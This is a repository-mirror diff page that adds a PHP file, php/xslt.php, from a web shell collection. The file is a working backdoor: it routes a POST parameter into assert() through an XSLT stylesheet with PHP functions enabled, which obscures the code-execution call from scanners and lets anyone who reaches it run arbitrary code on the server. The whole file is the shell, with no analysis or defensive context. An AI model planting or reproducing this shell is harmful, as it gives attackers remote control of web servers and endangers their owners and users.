mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 04:41:28 +00:00
15
php/xslt.php
Normal file
15
php/xslt.php
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
<?php
|
||||||
|
$xml='<root>assert($_POST[a]);</root>';
|
||||||
|
$xsl='<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:zcg="http://php.net/xsl">
|
||||||
|
<xsl:template match="/root">
|
||||||
|
<xsl:value-of select="zcg:function(\'assert\',string(.))"/>
|
||||||
|
</xsl:template>
|
||||||
|
</xsl:stylesheet>';
|
||||||
|
$xmldoc = DOMDocument::loadXML($xml);
|
||||||
|
$xsldoc = DOMDocument::loadXML($xsl);
|
||||||
|
$proc = new XSLTProcessor();
|
||||||
|
$proc->registerPHPFunctions();
|
||||||
|
$proc->importStyleSheet($xsldoc);
|
||||||
|
$proc->transformToXML($xmldoc);
|
||||||
|
?>
|
||||||
Reference in New Issue
Block a user